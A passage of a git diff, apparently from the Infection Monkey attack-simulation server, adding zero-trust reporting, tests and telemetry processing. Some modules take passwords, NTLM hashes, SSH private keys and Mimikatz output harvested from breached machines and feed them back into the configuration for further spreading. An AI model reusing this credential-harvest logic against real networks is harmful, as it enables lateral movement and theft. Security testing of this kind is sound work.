-        processed_exploit = ReportService.process_general_creds_exploit(exploit)
-        processed_exploit['type'] = 'rdp'
-        return processed_exploit
-
     @staticmethod
     def process_vsftpd_exploit(exploit):
         processed_exploit = ReportService.process_general_creds_exploit(exploit)
@@ -357,7 +352,6 @@ class ReportService:
             'SmbExploiter': ReportService.process_smb_exploit,
             'WmiExploiter': ReportService.process_wmi_exploit,
             'SSHExploiter': ReportService.process_ssh_exploit,
-            'RdpExploiter': ReportService.process_rdp_exploit,
             'SambaCryExploiter': ReportService.process_sambacry_exploit,
             'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
             'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
@@ -423,23 +417,6 @@ class ReportService:
 
         return issues
 
-    @staticmethod
-    def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
-        """
-        Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
-        :param ip_addresses:    List of IP addresses to test.
-        :param source_subnet:   Subnet to want an IP to not be in.
-        :param target_subnet:   Subnet we want an IP to be in.
-        :return:
-        """
-        for ip_address in ip_addresses:
-            if target_subnet.is_in_range(ip_address):
-                return None
-        for ip_address in ip_addresses:
-            if source_subnet.is_in_range(ip_address):
-                return ip_address
-        return None
-
     @staticmethod
     def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range):
         """
@@ -502,9 +479,9 @@ class ReportService:
             target_ip = scan['data']['machine']['ip_addr']
             if target_subnet_range.is_in_range(text_type(target_ip)):
                 monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
-                cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
-                                                                              source_subnet_range,
-                                                                              target_subnet_range)
+                cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
+                                                                source_subnet_range,
+                                                                target_subnet_range)
 
                 if cross_segment_ip is not None:
                     cross_segment_issues.append(
@@ -552,7 +529,7 @@ class ReportService:
         cross_segment_issues = []
 
         # For now the feature is limited to 1 group.
-        subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
+        subnet_groups = get_config_network_segments_as_subnet_groups()
 
         for subnet_group in subnet_groups:
             cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group)
diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
similarity index 73%
rename from monkey/monkey_island/cc/report_exporter_manager.py
rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
index c0e538258..f308a7933 100644
--- a/monkey/monkey_island/cc/report_exporter_manager.py
+++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
@@ -25,9 +25,9 @@ class ReportExporterManager(object, metaclass=Singleton):
         self._exporters_set.add(exporter)
 
     def export(self, report):
-        try:
-            for exporter in self._exporters_set:
-                logger.debug("Trying to export using " + repr(exporter))
+        for exporter in self._exporters_set:
+            logger.debug("Trying to export using " + repr(exporter))
+            try:
                 exporter().handle_report(report)
-        except Exception as e:
-            logger.exception('Failed to export report, error: ' + e.message)
+            except Exception as e:
+                logger.exception('Failed to export report, error: ' + e.message)
diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
similarity index 96%
rename from monkey/monkey_island/cc/services/test_PTHReportService.py
rename to monkey/monkey_island/cc/services/reporting/test_pth_report.py
index 7c4d4229b..7c709f862 100644
--- a/monkey/monkey_island/cc/services/test_PTHReportService.py
+++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
@@ -1,7 +1,7 @@
 import uuid
 
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.pth_report import PTHReportService
+from monkey_island.cc.services.reporting.pth_report import PTHReportService
 from monkey_island.cc.testing.IslandTestCase import IslandTestCase
 
 
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
new file mode 100644
index 000000000..46b4fefd7
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -0,0 +1,285 @@
+from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
+
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+def save_example_findings():
+    # arrange
+    Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, [])  # devices passed = 1
+    Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, [])  # devices passed = 2
+    Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, [])  # devices failed = 1
+    # devices unexecuted = 1
+    # people verify = 1
+    # networks verify = 1
+    Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
+    # people verify = 2
+    # networks verify = 2
+    Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
+    # data failed 1
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+    # data failed 2
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+    # data failed 3
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+    # data failed 4
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+    # data failed 5
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+    # data verify 1
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
+    # data verify 2
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
+    # data passed 1
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, [])
+
+
+class TestZeroTrustService(IslandTestCase):
+    def test_get_pillars_grades(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        save_example_findings()
+
+        expected = [
+            {
+                STATUS_FAILED: 5,
+                STATUS_VERIFY: 2,
+                STATUS_PASSED: 1,
+                STATUS_UNEXECUTED: 1,
+                "pillar": "Data"
+            },
+            {
+                STATUS_FAILED: 0,
+                STATUS_VERIFY: 2,
+                STATUS_PASSED: 0,
+                STATUS_UNEXECUTED: 1,
+                "pillar": "People"
+            },
+            {
+                STATUS_FAILED: 0,
+                STATUS_VERIFY: 2,
+                STATUS_PASSED: 0,
+                STATUS_UNEXECUTED: 4,
+                "pillar": "Networks"
+            },
+            {
+                STATUS_FAILED: 1,
+                STATUS_VERIFY: 0,
+                STATUS_PASSED: 2,
+                STATUS_UNEXECUTED: 1,
+                "pillar": "Devices"
+            },
+            {
+                STATUS_FAILED: 0,
+                STATUS_VERIFY: 0,
+                STATUS_PASSED: 0,
+                STATUS_UNEXECUTED: 0,
+                "pillar": "Workloads"
+            },
+            {
+                STATUS_FAILED: 0,
+                STATUS_VERIFY: 0,
+                STATUS_PASSED: 0,
+                STATUS_UNEXECUTED: 3,
+                "pillar": "Visibility & Analytics"
+            },
+            {
+                STATUS_FAILED: 0,
+                STATUS_VERIFY: 0,
+                STATUS_PASSED: 0,
+                STATUS_UNEXECUTED: 0,
+                "pillar": "Automation & Orchestration"
+            }
+        ]
+
+        result = ZeroTrustService.get_pillars_grades()
+
+        self.assertEquals(result, expected)
+
+    def test_get_principles_status(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        self.maxDiff = None
+
+        save_example_findings()
+
+        expected = {
+            AUTOMATION_ORCHESTRATION: [],
+            DATA: [
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
+                    "status": STATUS_FAILED,
+                    "tests": [
+                        {
+                            "status": STATUS_FAILED,
+                            "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
+                        },
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
+                        },
+                    ]
+                }
+            ],
+            DEVICES: [
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
+                    "status": STATUS_FAILED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
+                        },
+                        {
+                            "status": STATUS_FAILED,
+                            "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
+                        },
+                    ]
+                }
+            ],
+            NETWORKS: [
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+                    "status": STATUS_VERIFY,
+                    "tests": [
+                        {
+                            "status": STATUS_VERIFY,
+                            "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+            ],
+            PEOPLE: [
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+                    "status": STATUS_VERIFY,
+                    "tests": [
+                        {
+                            "status": STATUS_VERIFY,
+                            "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                }
+            ],
+            VISIBILITY_ANALYTICS: [
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
+            ],
+            WORKLOADS: []
+        }
+
+        result = ZeroTrustService.get_principles_status()
+        self.assertEquals(result, expected)
+
+    def test_get_pillars_to_statuses(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        self.maxDiff = None
+
+        expected = {
+            AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED,
+            DEVICES: STATUS_UNEXECUTED,
+            NETWORKS: STATUS_UNEXECUTED,
+            PEOPLE: STATUS_UNEXECUTED,
+            VISIBILITY_ANALYTICS: STATUS_UNEXECUTED,
+            WORKLOADS: STATUS_UNEXECUTED,
+            DATA: STATUS_UNEXECUTED
+        }
+
+        self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
+
+        save_example_findings()
+
+        expected = {
+            AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED,
+            DEVICES: STATUS_FAILED,
+            NETWORKS: STATUS_VERIFY,
+            PEOPLE: STATUS_VERIFY,
+            VISIBILITY_ANALYTICS: STATUS_UNEXECUTED,
+            WORKLOADS: STATUS_UNEXECUTED,
+            DATA: STATUS_FAILED
+        }
+
+        self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
new file mode 100644
index 000000000..f4b23f095
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
@@ -0,0 +1,150 @@
+import json
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class ZeroTrustService(object):
+    @staticmethod
+    def get_pillars_grades():
+        pillars_grades = []
+        for pillar in PILLARS:
+            pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar))
+        return pillars_grades
+
+    @staticmethod
+    def __get_pillar_grade(pillar):
+        all_findings = Finding.objects()
+        pillar_grade = {
+            "pillar": pillar,
+            STATUS_FAILED: 0,
+            STATUS_VERIFY: 0,
+            STATUS_PASSED: 0,
+            STATUS_UNEXECUTED: 0
+        }
+
+        tests_of_this_pillar = PILLARS_TO_TESTS[pillar]
+
+        test_unexecuted = {}
+        for test in tests_of_this_pillar:
+            test_unexecuted[test] = True
+
+        for finding in all_findings:
+            test_unexecuted[finding.test] = False
+            test_info = TESTS_MAP[finding.test]
+            if pillar in test_info[PILLARS_KEY]:
+                pillar_grade[finding.status] += 1
+
+        pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition)
+
+        return pillar_grade
+
+    @staticmethod
+    def get_principles_status():
+        all_principles_statuses = {}
+
+        # init with empty lists
+        for pillar in PILLARS:
+            all_principles_statuses[pillar] = []
+
+        for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+            for pillar in PRINCIPLES_TO_PILLARS[principle]:
+                all_principles_statuses[pillar].append(
+                    {
+                        "principle": PRINCIPLES[principle],
+                        "tests": ZeroTrustService.__get_tests_status(principle_tests),
+                        "status": ZeroTrustService.__get_principle_status(principle_tests)
+                    }
+                )
+
+        return all_principles_statuses
+
+    @staticmethod
+    def __get_principle_status(principle_tests):
+        worst_status = STATUS_UNEXECUTED
+        all_statuses = set()
+        for test in principle_tests:
+            all_statuses |= set(Finding.objects(test=test).distinct("status"))
+
+        for status in all_statuses:
+            if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status):
+                worst_status = status
+
+        return worst_status
+
+    @staticmethod
+    def __get_tests_status(principle_tests):
+        results = []
+        for test in principle_tests:
+            test_findings = Finding.objects(test=test)
+            results.append(
+                {
+                    "test": TESTS_MAP[test][TEST_EXPLANATION_KEY],
+                    "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings)
+                }
+            )
+        return results
+
+    @staticmethod
+    def __get_lcd_worst_status_for_test(all_findings_for_test):
+        """
+        :param all_findings_for_test:   All findings of a specific test (get this using Finding.objects(test={A_TEST}))
+        :return:    the "worst" (i.e. most severe) status out of the given findings.
+                    lcd stands for lowest common denominator.
+        """
+        current_worst_status = STATUS_UNEXECUTED
+        for finding in all_findings_for_test:
+            if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status):
+                current_worst_status = finding.status
+
+        return current_worst_status
+
+    @staticmethod
+    def get_all_findings():
+        all_findings = Finding.objects()
+        enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings]
+        return enriched_findings
+
+    @staticmethod
+    def __get_enriched_finding(finding):
+        test_info = TESTS_MAP[finding.test]
+        enriched_finding = {
+            "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status],
+            "test_key": finding.test,
+            "pillars": test_info[PILLARS_KEY],
+            "status": finding.status,
+            "events": ZeroTrustService.__get_events_as_dict(finding.events)
+        }
+        return enriched_finding
+
+    @staticmethod
+    def __get_events_as_dict(events):
+        return [json.loads(event.to_json()) for event in events]
+
+    @staticmethod
+    def get_statuses_to_pillars():
+        results = {
+            STATUS_FAILED: [],
+            STATUS_VERIFY: [],
+            STATUS_PASSED: [],
+            STATUS_UNEXECUTED: []
+        }
+        for pillar in PILLARS:
+            results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar)
+
+        return results
+
+    @staticmethod
+    def get_pillars_to_statuses():
+        results = {}
+        for pillar in PILLARS:
+            results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar)
+
+        return results
+
+    @staticmethod
+    def __get_status_of_single_pillar(pillar):
+        grade = ZeroTrustService.__get_pillar_grade(pillar)
+        for status in ORDERED_TEST_STATUSES:
+            if grade[status] > 0:
+                return status
+        return STATUS_UNEXECUTED
diff --git a/monkey/monkey_island/cc/services/telemetry/__init__.py b/monkey/monkey_island/cc/services/telemetry/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
new file mode 100644
index 000000000..d90143c09
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
@@ -0,0 +1,7 @@
+# import all implemented hooks, for brevity of hooks.py file
+from tunnel import process_tunnel_telemetry
+from state import process_state_telemetry
+from exploit import process_exploit_telemetry
+from scan import process_scan_telemetry
+from system_info import process_system_info_telemetry
+from post_breach import process_post_breach_telemetry
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
new file mode 100644
index 000000000..cf6e9b544
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
@@ -0,0 +1,58 @@
+import copy
+
+import dateutil
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.encryptor import encryptor
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.edge import EdgeService
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
+from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import test_machine_exploited
+
+
+def process_exploit_telemetry(telemetry_json):
+    encrypt_exploit_creds(telemetry_json)
+    edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
+    update_edge_info_with_new_exploit(edge, telemetry_json)
+    update_node_credentials_from_successful_attempts(edge, telemetry_json)
+
+    test_machine_exploited(
+        current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
+        exploit_successful=telemetry_json['data']['result'],
+        exploiter=telemetry_json['data']['exploiter'],
+        target_ip=telemetry_json['data']['machine']['ip_addr'],
+        timestamp=telemetry_json['timestamp'])
+
+
+def update_node_credentials_from_successful_attempts(edge, telemetry_json):
+    for attempt in telemetry_json['data']['attempts']:
+        if attempt['result']:
+            found_creds = {'user': attempt['user']}
+            for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
+                if len(attempt[field]) != 0:
+                    found_creds[field] = attempt[field]
+            NodeService.add_credentials_to_node(edge['to'], found_creds)
+
+
+def update_edge_info_with_new_exploit(edge, telemetry_json):
+    telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started'])
+    telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished'])
+    new_exploit = copy.deepcopy(telemetry_json['data'])
+    new_exploit.pop('machine')
+    new_exploit['timestamp'] = telemetry_json['timestamp']
+    mongo.db.edge.update(
+        {'_id': edge['_id']},
+        {'$push': {'exploits': new_exploit}}
+    )
+    if new_exploit['result']:
+        EdgeService.set_edge_exploited(edge)
+
+
+def encrypt_exploit_creds(telemetry_json):
+    attempts = telemetry_json['data']['attempts']
+    for i in range(len(attempts)):
+        for field in ['password', 'lm_hash', 'ntlm_hash']:
+            credential = attempts[i][field]
+            if len(credential) > 0:
+                attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
new file mode 100644
index 000000000..c64849905
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.database import mongo
+from common.data.post_breach_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication
+
+
+def process_communicate_as_new_user_telemetry(telemetry_json):
+    current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+    message = telemetry_json['data']['result'][0]
+    success = telemetry_json['data']['result'][1]
+    test_new_user_communication(current_monkey, success, message)
+
+
+POST_BREACH_TELEMETRY_PROCESSING_FUNCS = {
+    POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry,
+}
+
+
+def process_post_breach_telemetry(telemetry_json):
+    mongo.db.monkey.update(
+        {'guid': telemetry_json['monkey_guid']},
+        {'$push': {'pba_results': telemetry_json['data']}})
+
+    post_breach_action_name = telemetry_json["data"]["name"]
+    if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
+        POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
+
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
new file mode 100644
index 000000000..154096f79
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
@@ -0,0 +1,29 @@
+import logging
+
+from monkey_island.cc.services.telemetry.processing import *
+
+logger = logging.getLogger(__name__)
+
+TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \
+    {
+        'tunnel': process_tunnel_telemetry,
+        'state': process_state_telemetry,
+        'exploit': process_exploit_telemetry,
+        'scan': process_scan_telemetry,
+        'system_info': process_system_info_telemetry,
+        'post_breach': process_post_breach_telemetry,
+        # `lambda *args, **kwargs: None` is a no-op.
+        'trace': lambda *args, **kwargs: None,
+        'attack': lambda *args, **kwargs: None,
+    }
+
+
+def process_telemetry(telemetry_json):
+    try:
+        telem_category = telemetry_json.get('telem_category')
+        if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC:
+            TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json)
+        else:
+            logger.info('Got unknown type of telemetry: %s' % telem_category)
+    except Exception as ex:
+        logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
new file mode 100644
index 000000000..bea451170
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
@@ -0,0 +1,44 @@
+import copy
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
+from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation
+
+
+def process_scan_telemetry(telemetry_json):
+    update_edges_and_nodes_based_on_scan_telemetry(telemetry_json)
+    test_open_data_endpoints(telemetry_json)
+
+    current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+    target_ip = telemetry_json['data']['machine']['ip_addr']
+    test_segmentation_violation(current_monkey, target_ip)
+
+
+def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json):
+    edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
+    data = copy.deepcopy(telemetry_json['data']['machine'])
+    ip_address = data.pop("ip_addr")
+    domain_name = data.pop("domain_name")
+    new_scan = \
+        {
+            "timestamp": telemetry_json["timestamp"],
+            "data": data
+        }
+    mongo.db.edge.update(
+        {"_id": edge["_id"]},
+        {"$push": {"scans": new_scan},
+         "$set": {"ip_address": ip_address, 'domain_name': domain_name}}
+    )
+    node = mongo.db.node.find_one({"_id": edge["to"]})
+    if node is not None:
+        scan_os = new_scan["data"]["os"]
+        if "type" in scan_os:
+            mongo.db.node.update({"_id": node["_id"]},
+                                 {"$set": {"os.type": scan_os["type"]}},
+                                 upsert=False)
+        if "version" in scan_os:
+            mongo.db.node.update({"_id": node["_id"]},
+                                 {"$set": {"os.version": scan_os["version"]}},
+                                 upsert=False)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py
new file mode 100644
index 000000000..4e164e900
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py
@@ -0,0 +1,17 @@
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \
+    test_passed_findings_for_unreached_segments
+
+
+def process_state_telemetry(telemetry_json):
+    monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+    NodeService.add_communication_info(monkey, telemetry_json['command_control_channel'])
+    if telemetry_json['data']['done']:
+        NodeService.set_monkey_dead(monkey, True)
+    else:
+        NodeService.set_monkey_dead(monkey, False)
+
+    if telemetry_json['data']['done']:
+        current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+        test_passed_findings_for_unreached_segments(current_monkey)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
new file mode 100644
index 000000000..ebf11c219
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
@@ -0,0 +1,99 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services import mimikatz_utils
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence
+from monkey_island.cc.services.wmi_handler import WMIHandler
+from monkey_island.cc.encryptor import encryptor
+
+
+def process_system_info_telemetry(telemetry_json):
+    process_ssh_info(telemetry_json)
+    process_credential_info(telemetry_json)
+    process_mimikatz_and_wmi_info(telemetry_json)
+    process_aws_data(telemetry_json)
+    test_antivirus_existence(telemetry_json)
+
+
+def process_ssh_info(telemetry_json):
+    if 'ssh_info' in telemetry_json['data']:
+        ssh_info = telemetry_json['data']['ssh_info']
+        encrypt_system_info_ssh_keys(ssh_info)
+        if telemetry_json['data']['network_info']['networks']:
+            # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
+            add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
+        add_system_info_ssh_keys_to_config(ssh_info)
+
+
+def add_system_info_ssh_keys_to_config(ssh_info):
+    for user in ssh_info:
+        ConfigService.creds_add_username(user['name'])
+        # Public key is useless without private key
+        if user['public_key'] and user['private_key']:
+            ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
+                                       user['name'], user['ip'])
+
+
+def add_ip_to_ssh_keys(ip, ssh_info):
+    for key in ssh_info:
+        key['ip'] = ip['addr']
+
+
+def encrypt_system_info_ssh_keys(ssh_info):
+    for idx, user in enumerate(ssh_info):
+        for field in ['public_key', 'private_key', 'known_hosts']:
+            if ssh_info[idx][field]:
+                ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
+
+
+def process_credential_info(telemetry_json):
+    if 'credentials' in telemetry_json['data']:
+        creds = telemetry_json['data']['credentials']
+        encrypt_system_info_creds(creds)
+        add_system_info_creds_to_config(creds)
+        replace_user_dot_with_comma(creds)
+
+
+def replace_user_dot_with_comma(creds):
+    for user in creds:
+        if -1 != user.find('.'):
+            new_user = user.replace('.', ',')
+            creds[new_user] = creds.pop(user)
+
+
+def add_system_info_creds_to_config(creds):
+    for user in creds:
+        ConfigService.creds_add_username(user)
+        if 'password' in creds[user]:
+            ConfigService.creds_add_password(creds[user]['password'])
+        if 'lm_hash' in creds[user]:
+            ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
+        if 'ntlm_hash' in creds[user]:
+            ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
+
+
+def encrypt_system_info_creds(creds):
+    for user in creds:
+        for field in ['password', 'lm_hash', 'ntlm_hash']:
+            if field in creds[user]:
+                # this encoding is because we might run into passwords which are not pure ASCII
+                creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
+
+
+def process_mimikatz_and_wmi_info(telemetry_json):
+    users_secrets = {}
+    if 'mimikatz' in telemetry_json['data']:
+        users_secrets = mimikatz_utils.MimikatzSecrets. \
+            extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
+    if 'wmi' in telemetry_json['data']:
